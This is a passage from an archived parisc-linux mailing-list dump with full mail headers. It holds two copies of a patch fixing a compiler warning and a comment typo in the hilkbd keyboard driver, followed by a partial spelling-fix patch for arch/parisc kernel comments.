	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14753-10; Wed, 2 May 2007 01:55:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AFD87DB02;
	Wed,  2 May 2007 01:55:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9362E7DAC6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 14:00:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26432-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 1 May 2007 14:00:14 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D8F347DAB7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 14:00:14 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 93427494010; Tue,  1 May 2007 14:00:14 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id 78D69494005
	for <parisc-linux@parisc-linux.org>;
	Tue,  1 May 2007 14:00:14 -0600 (MDT)
Original-Received: from hoboe2bl1.telenet-ops.be (hoboe2bl1.telenet-ops.be
	[195.130.137.73]) by cuprel1.hp.com (Postfix) with ESMTP id D61AF709
	for <parisc-linux@parisc-linux.org>;
	Tue,  1 May 2007 13:00:09 -0700 (PDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by hoboe2bl1.telenet-ops.be (Postfix) with SMTP id 9755212405C;
	Tue,  1 May 2007 21:59:35 +0200 (CEST)
Original-Received: from anakin.of.borg (d54C15D55.access.telenet.be [84.193.93.85])
	by hoboe2bl1.telenet-ops.be (Postfix) with ESMTP id 618E712402E;
	Tue,  1 May 2007 21:59:27 +0200 (CEST)
Original-Received: from anakin.of.borg (geert@localhost [127.0.0.1])
	by anakin.of.borg (8.13.8/8.13.8/Debian-3) with ESMTP id l41JxNFL028334
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Tue, 1 May 2007 21:59:24 +0200
Original-Received: (from geert@localhost)
	by anakin.of.borg (8.13.8/8.13.8/Submit) id l41JxHUm028333;
	Tue, 1 May 2007 21:59:17 +0200
User-Agent: quilt/0.45-1
Content-Disposition: inline; filename=hilkbd-warning.diff
Status: R
X-UID: 11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Wed, 02 May 2007 01:55:33 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kzZRdXdpeWU3n62TZm9nDv8rL0tsZg1z
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25430

hilkbd: Kill compiler warning and fix comment dyslexia

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 drivers/input/keyboard/hilkbd.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- linux-m68k-2.6.21.orig/drivers/input/keyboard/hilkbd.c
+++ linux-m68k-2.6.21/drivers/input/keyboard/hilkbd.c
@@ -52,7 +52,7 @@ MODULE_LICENSE("GPL v2");
 
 #elif defined(CONFIG_HP300)
 
- #define HILBASE		0xf0428000 /* HP300 (m86k) port address */
+ #define HILBASE		0xf0428000UL /* HP300 (m68k) port address */
  #define HIL_DATA		0x1
  #define HIL_CMD		0x3
  #define HIL_IRQ		2

--
Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch 10/33] hilkbd: Kill compiler warning and fix
	comment dyslexia
Date: Tue, 01 May 2007 22:32:44 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20070501203332.229877177__27497.2504274503$1416624638$gmane$org@mail.of.borg>
References: <20070501203234.252205858@mail.of.borg>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624638 28402 80.91.229.3 (22 Nov 2014 02:50:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:38 +0000 (UTC)
Cc: linux-m68k@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Linus Torvalds <torvalds@linux-foundation.org>,
 Andrew Morton <akpm@linux-foundation.org>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 07:55:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 02 May 2007 09:55:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 444EB7DB06;
	Wed,  2 May 2007 01:55:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15010-02; Wed, 2 May 2007 01:55:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8AFDC7DB09;
	Wed,  2 May 2007 01:55:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1954E7DAC2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 14:35:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26662-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 1 May 2007 14:35:18 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 606D87DABA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 14:35:18 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 37B62494013; Tue,  1 May 2007 14:35:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 2120 seconds by postgrey-1.27 at palinux;
	Tue, 01 May 2007 14:34:57 MDT
Original-Received: from asia.telenet-ops.be (asia.telenet-ops.be [195.130.137.74])
	by mail.parisc-linux.org (Postfix) with ESMTP id BEE16494005
	for <parisc-linux@parisc-linux.org>;
	Tue,  1 May 2007 14:34:56 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by asia.telenet-ops.be (Postfix) with SMTP id E1C06D4153;
	Tue,  1 May 2007 22:34:55 +0200 (CEST)
Original-Received: from anakin.of.borg (d54C15D55.access.telenet.be [84.193.93.85])
	by asia.telenet-ops.be (Postfix) with ESMTP id 5D49FD41A8;
	Tue,  1 May 2007 22:34:51 +0200 (CEST)
Original-Received: from anakin.of.borg (geert@localhost [127.0.0.1])
	by anakin.of.borg (8.13.8/8.13.8/Debian-3) with ESMTP id l41KYhX4010450
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Tue, 1 May 2007 22:34:43 +0200
Original-Received: (from geert@localhost)
	by anakin.of.borg (8.13.8/8.13.8/Submit) id l41KYhVQ010449;
	Tue, 1 May 2007 22:34:43 +0200
User-Agent: quilt/0.45-1
Content-Disposition: inline; filename=hilkbd-warning.diff
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Wed, 02 May 2007 01:55:33 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NHILclxvTXs9m6yRbmQ5/6VKRzdyMkMu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25431

hilkbd: Kill compiler warning and fix comment dyslexia

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
---
 drivers/input/keyboard/hilkbd.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- linux-m68k-2.6.21.orig/drivers/input/keyboard/hilkbd.c
+++ linux-m68k-2.6.21/drivers/input/keyboard/hilkbd.c
@@ -52,7 +52,7 @@ MODULE_LICENSE("GPL v2");
 
 #elif defined(CONFIG_HP300)
 
- #define HILBASE		0xf0428000 /* HP300 (m86k) port address */
+ #define HILBASE		0xf0428000UL /* HP300 (m68k) port address */
  #define HIL_DATA		0x1
  #define HIL_CMD		0x3
  #define HIL_IRQ		2

--
Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simon Arlott <simon@fire.lp0.eu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] spelling fixes: arch/parisc/
Date: Fri, 11 May 2007 20:42:34 +0100
Lines: 327
Approved: news@gmane.org
Message-ID: <4644C72A.4000608__10714.7601353519$1416624638$gmane$org@simon.arlott.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624638 28412 80.91.229.3 (22 Nov 2014 02:50:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:38 +0000 (UTC)
To: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
 parisc-linux@parisc-linux.org,
 trivial@kernel.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 May 2007 00:03:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 17 May 2007 02:03:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF1E47DC1B;
	Wed, 16 May 2007 18:03:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25407-06; Wed, 16 May 2007 18:03:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98F0B7DC1D;
	Wed, 16 May 2007 18:03:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 20ACB7DC7E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 May 2007 13:45:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30251-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 May 2007 13:45:50 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 55F167DC19
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 May 2007 13:45:50 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 0DF07494009; Fri, 11 May 2007 13:45:50 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id B450E494007
	for <parisc-linux@parisc-linux.org>;
	Fri, 11 May 2007 13:45:29 -0600 (MDT)
Original-Received: from proxima.lp0.eu (proxima.lp0.eu [85.158.45.36])
	by cuprel1.hp.com (Postfix) with ESMTP id 691085AC
	for <parisc-linux@parisc-linux.org>;
	Fri, 11 May 2007 12:45:24 -0700 (PDT)
Original-Received: from redrum.lp0.eu ([2001:4b10:1005:0:202:44ff:fe50:91af]:47790
	ident=byte) by proxima.lp0.eu with esmtps (TLSv1:AES256-SHA:256)
	id 1Hmb0e-0000Sy-SP; Fri, 11 May 2007 20:42:37 +0100
User-Agent: Thunderbird 1.5.0.5 (X11/20060819)
X-Enigmail-Version: 0.94.1.2
OpenPGP: id=89C93563
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Wed, 16 May 2007 18:03:17 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4altbkDWLi5n1PfRZWtpgVxjZml1ZNiV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25432

Spelling fixes in arch/parisc/.

Signed-off-by: Simon Arlott <simon@fire.lp0.eu>
---
 arch/parisc/kernel/firmware.c    |    4 ++--
 arch/parisc/kernel/perf.c        |   12 ++++++------
 arch/parisc/kernel/processor.c   |    8 ++++----
 arch/parisc/kernel/setup.c       |    2 +-
 arch/parisc/kernel/signal32.h    |    2 +-
 arch/parisc/kernel/smp.c         |    6 +++---
 arch/parisc/kernel/time.c        |    2 +-
 arch/parisc/kernel/traps.c       |    2 +-
 arch/parisc/math-emu/dbl_float.h |    4 ++--
 arch/parisc/math-emu/dfsqrt.c    |    2 +-
 arch/parisc/math-emu/sfsqrt.c    |    2 +-
 arch/parisc/math-emu/sgl_float.h |    4 ++--
 arch/parisc/mm/init.c            |   10 +++++-----
 13 files changed, 30 insertions(+), 30 deletions(-)

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 39dc835..fd6552c 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -634,7 +634,7 @@ EXPORT_SYMBOL(pdc_lan_station_id);
  * pdc_stable_read - Read data from Stable Storage.
  * @staddr: Stable Storage address to access.
  * @memaddr: The memory address where Stable Storage data shall be copied.
- * @count: number of bytes to transfert. count is multiple of 4.
+ * @count: number of bytes to transfer. count is multiple of 4.
  *
  * This PDC call reads from the Stable Storage address supplied in staddr
  * and copies count bytes to the memory address memaddr.
@@ -660,7 +660,7 @@ EXPORT_SYMBOL(pdc_stable_read);
  * pdc_stable_write - Write data to Stable Storage.
  * @staddr: Stable Storage address to access.
  * @memaddr: The memory address where Stable Storage data shall be read from.
- * @count: number of bytes to transfert. count is multiple of 4.
+ * @count: number of bytes to transfer. count is multiple of 4.
  *
  * This PDC call reads count bytes from the supplied memaddr address,
  * and copies count bytes to the Stable Storage address staddr.
diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index a46bc62..d324021 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -171,7 +171,7 @@ static const uint64_t perf_bitmasks[] = {
 
 /*
  * Write control bitmasks for Pa-8700 processor given
- * somethings have changed slightly.
+ * some things have changed slightly.
  */
 static const uint64_t perf_bitmasks_piranha[] = {
 	0x0000000000000000ul,     /* first dbl word must be zero */
@@ -574,27 +574,27 @@ static int perf_stop_counters(uint32_t *raddr)
 		if (!perf_rdr_read_ubuf(16, userbuf))
 			return -13;
 
-		/* Counter0 is bits 1398 thru 1429 */
+		/* Counter0 is bits 1398 to 1429 */
 		tmp64 =  (userbuf[21] << 22) & 0x00000000ffc00000;
 		tmp64 |= (userbuf[22] >> 42) & 0x00000000003fffff;
 		/* OR sticky0 (bit 1430) to counter0 bit 32 */
 		tmp64 |= (userbuf[22] >> 10) & 0x0000000080000000;
 		raddr[0] = (uint32_t)tmp64;
 
-		/* Counter1 is bits 1431 thru 1462 */
+		/* Counter1 is bits 1431 to 1462 */
 		tmp64 =  (userbuf[22] >> 9) & 0x00000000ffffffff;
 		/* OR sticky1 (bit 1463) to counter1 bit 32 */
 		tmp64 |= (userbuf[22] << 23) & 0x0000000080000000;
 		raddr[1] = (uint32_t)tmp64;
 
-		/* Counter2 is bits 1464 thru 1495 */
+		/* Counter2 is bits 1464 to 1495 */
 		tmp64 =  (userbuf[22] << 24) & 0x00000000ff000000;
 		tmp64 |= (userbuf[23] >> 40) & 0x0000000000ffffff;
 		/* OR sticky2 (bit 1496) to counter2 bit 32 */
 		tmp64 |= (userbuf[23] >> 8) & 0x0000000080000000;
 		raddr[2] = (uint32_t)tmp64;
 		
-		/* Counter3 is bits 1497 thru 1528 */
+		/* Counter3 is bits 1497 to 1528 */
 		tmp64 =  (userbuf[23] >> 7) & 0x00000000ffffffff;
 		/* OR sticky3 (bit 1529) to counter3 bit 32 */
 		tmp64 |= (userbuf[23] << 25) & 0x0000000080000000;
@@ -616,7 +616,7 @@ static int perf_stop_counters(uint32_t *raddr)
 		userbuf[23] = 0;
 
 		/* 
-		 * Write back the zero'ed bytes + the image given
+		 * Write back the zeroed bytes + the image given
 		 * the read was destructive.
 		 */
 		perf_rdr_write(16, userbuf);
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index dd5d0cb..15992f4 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -63,7 +63,7 @@ extern int update_cr16_clocksource(void);	/* from time.c */
 ** will call register_parisc_driver(&cpu_driver) before calling do_inventory().
 **
 ** The goal of consolidating CPU initialization into one place is
-** to make sure all CPU's get initialized the same way.
+** to make sure all CPUs get initialized the same way.
 ** The code path not shared is how PDC hands control of the CPU to the OS.
 ** The initialization of OS data structures is the same (done below).
 */
@@ -166,7 +166,7 @@ static int __init processor_probe(struct parisc_device *dev)
 #endif
 
 	/*
-	** CONFIG_SMP: init_smp_config() will attempt to get CPU's into
+	** CONFIG_SMP: init_smp_config() will attempt to get CPUs into
 	** OS control. RENDEZVOUS is the default state - see mem_set above.
 	**	p->state = STATE_RENDEZVOUS;
 	*/
@@ -334,7 +334,7 @@ int __init init_per_cpu(int cpunum)
 }
 
 /*
- * Display cpu info for all cpu's.
+ * Display CPU info for all CPUs.
  */
 int
 show_cpuinfo (struct seq_file *m, void *v)
@@ -393,7 +393,7 @@ static struct parisc_driver cpu_driver __read_mostly = {
 };
 
 /**
- * processor_init - Processor initalization procedure.
+ * processor_init - Processor initialization procedure.
  *
  * Register this driver.
  */
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 9818919..9d2a1d5 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -162,7 +162,7 @@ void __init setup_arch(char **cmdline_p)
 }
 
 /*
- * Display cpu info for all cpu's.
+ * Display CPU info for all CPUs.
  * for parisc this is in processor.c
  */
 extern int show_cpuinfo (struct seq_file *m, void *v);
diff --git a/arch/parisc/kernel/signal32.h b/arch/parisc/kernel/signal32.h
index e39b38a..c780084 100644
--- a/arch/parisc/kernel/signal32.h
+++ b/arch/parisc/kernel/signal32.h
@@ -113,7 +113,7 @@ int copy_siginfo_from_user32 (siginfo_t *to, compat_siginfo_t __user *from);
 /* In a deft move of uber-hackery, we decide to carry the top half of all
  * 64-bit registers in a non-portable, non-ABI, hidden structure.
  * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the
+ * guaranteed to be in the same place. In fact the uc_sigmask from the
  * ucontext_t structure may push the hidden register file downards
  */
 struct compat_regfile {
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 6ba9257..4bf7cd1 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -8,7 +8,7 @@
 ** Lots of stuff stolen from arch/alpha/kernel/smp.c
 ** ...and then parisc stole from arch/ia64/kernel/smp.c. Thanks David! :^)
 **
-** Thanks to John Curry and Ullas Ponnadi. I learned alot from their work.
+** Thanks to John Curry and Ullas Ponnadi. I learned a lot from their work.
 ** -grant (1/12/2001)
 **
 **	This program is free software; you can redistribute it and/or modify
@@ -419,7 +419,7 @@ smp_cpu_init(int cpunum)
 		BUG();
 	enter_lazy_tlb(&init_mm, current);
 
-	init_IRQ();   /* make sure no IRQ's are enabled or pending */
+	init_IRQ();   /* make sure no IRQs are enabled or pending */
 	start_cpu_itimer();
 }
 
@@ -552,7 +552,7 @@ void __devinit smp_prepare_boot_cpu(void)
 
 /*
 ** inventory.c:do_inventory() hasn't yet been run and thus we
-** don't 'discover' the additional CPU's until later.
+** don't 'discover' the additional CPUs until later.
 */
 void __init smp_prepare_cpus(unsigned int max_cpus)
 {
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 07a991a..8b3062a 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -191,7 +191,7 @@ int update_cr16_clocksource(void)
 {
 	int change = 0;
 
-	/* since the cr16 cycle counters are not syncronized across CPUs,
+	/* since the cr16 cycle counters are not synchronized across CPUs,
 	   we'll check if we should switch to a safe clocksource: */
 	if (clocksource_cr16.rating != 0 && num_online_cpus() > 1) {
 		clocksource_change_rating(&clocksource_cr16, 0);
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 745ff74..6c05545 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -615,7 +615,7 @@ void handle_interruption(int code, struct pt_regs *regs)
 		
 	case 13:
 		/* Conditional Trap
-		   The condition succees in an instruction which traps 
+		   The condition succeeds in an instruction which traps 
 		   on condition  */
 		if(user_mode(regs)){
 			si.si_signo = SIGFPE;
diff --git a/arch/parisc/math-emu/dbl_float.h b/arch/parisc/math-emu/dbl_float.h
index 1570e2e..0c2fa9a 100644
--- a/arch/parisc/math-emu/dbl_float.h
+++ b/arch/parisc/math-emu/dbl_float.h
@@ -22,7 +22,7 @@
     PA header file -- do not include this header file for non-PA builds.
 #endif
 
-/* 32-bit word grabing functions */
+/* 32-bit word grabbing functions */
 #define Dbl_firstword(value) Dallp1(value)
 #define Dbl_secondword(value) Dallp2(value)
 #define Dbl_thirdword(value) dummy_location
@@ -37,7 +37,7 @@
 #define Dbl_allp1(object) Dallp1(object)
 #define Dbl_allp2(object) Dallp2(object)
 
-/* dbl_and_signs ands the sign bits of each argument and puts the result
+/* dbl_and_signs ANDs the sign bits of each argument and puts the result
  * into the first argument. dbl_or_signs ors those same sign bits */
 #define Dbl_and_signs( src1dst, src2)		\
     Dallp1(src1dst) = (Dallp1(src2)|~((unsigned int)1<<31)) & Dallp1(src1dst)
diff --git a/arch/parisc/math-emu/dfsqrt.c b/arch/parisc/math-emu/dfsqrt.c
index b6ed106..9542c6d 100644
--- a/arch/parisc/math-emu/dfsqrt.c
+++ b/arch/parisc/math-emu/dfsqrt.c
@@ -76,7 +76,7 @@ dbl_fsqrt(
                 }
                 /*
                  * Return quiet NaN or positive infinity.
-		 *  Fall thru to negative test if negative infinity.
+		 *  Fall through to negative test if negative infinity.
                  */
 		if (Dbl_iszero_sign(srcp1) || 
 		    Dbl_isnotzero_mantissa(srcp1,srcp2)) {
diff --git a/arch/parisc/math-emu/sfsqrt.c b/arch/parisc/math-emu/sfsqrt.c
index cd3f6db..4657a12 100644
--- a/arch/parisc/math-emu/sfsqrt.c
+++ b/arch/parisc/math-emu/sfsqrt.c
@@ -76,7 +76,7 @@ sgl_fsqrt(
                 }
                 /*
                  * Return quiet NaN or positive infinity.
-		 *  Fall thru to negative test if negative infinity.
+		 *  Fall through to negative test if negative infinity.
                  */
 		if (Sgl_iszero_sign(src) || Sgl_isnotzero_mantissa(src)) {
                 	*dstptr = src;
diff --git a/arch/parisc/math-emu/sgl_float.h b/arch/parisc/math-emu/sgl_float.h
index 82519a5..4ee4cc9 100644
--- a/arch/parisc/math-emu/sgl_float.h
+++ b/arch/parisc/math-emu/sgl_float.h
@@ -23,7 +23,7 @@
     PA header file -- do not include this header file for non-PA builds.
 #endif
 
-/* 32-bit word grabing functions */
+/* 32-bit word grabbing functions */
 #define Sgl_firstword(value) Sall(value)
 #define Sgl_secondword(value) dummy_location
 #define Sgl_thirdword(value) dummy_location
@@ -36,7 +36,7 @@
 #define Sgl_exponentmantissa(object) Sexponentmantissa(object)
 #define Sgl_all(object) Sall(object)
 
-/* sgl_and_signs ands the sign bits of each argument and puts the result
+/* sgl_and_signs ANDs the sign bits of each argument and puts the result
  * into the first argument. sgl_or_signs ors those same sign bits */
 #define Sgl_and_signs( src1dst, src2)		\
     Sall(src1dst) = (Sall(src2)|~((unsigned int)1<<31)) & Sall(src1dst)
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 75ea9f2..e724b36 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -890,7 +890,7 @@ void __init paging_init(void)
 #ifdef CONFIG_PA20
 
 /*
- * Currently, all PA20 chips have 18 bit protection id's, which is the
